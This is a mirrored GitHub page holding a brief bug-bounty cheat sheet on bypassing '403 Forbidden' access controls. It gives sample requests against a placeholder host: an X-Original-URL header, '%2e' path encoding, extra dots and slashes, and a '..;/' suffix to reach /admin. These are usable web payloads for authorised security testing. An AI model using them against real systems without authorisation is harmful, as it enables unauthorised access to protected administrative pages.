ch0ic3/AllAboutBugBounty
1
0
Fork 0
mirror of https://github.com/daffainfo/AllAboutBugBounty.git synced 2024-12-19 19:06:13 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
203e78791a
AllAboutBugBounty/Bypass403.md
Muhammad Daffa a75e7eaf9a
Bypass 403 [2] 
Add source!
2020-09-09 21:56:10 +07:00

721 B
Raw Blame History

403 Forbidden Bypass

  1. Using "X-Original-URL" header
GET /admin HTTP/1.1
Host: target.com

Try this to bypass

GET /anything HTTP/1.1
Host: target.com
X-Original-URL: /admin
  1. Appending %2e after the first slash
http://target.com/admin => 403

Try this to bypass

http://target.com/%2e/admin => 200
  1. Try add dot (.) and slash (/) in the URL
http://target.com/admin => 403

Try this to bypass

http://target.com/admin/. => 200
http://target.com//admin// => 200
http://target.com/./admin/./ => 200
  1. Add "..;/" after the directory name
http://target.com/admin

Try this to bypass

http://target.com/admin..;/

Source: https://twitter.com/iam_j0ker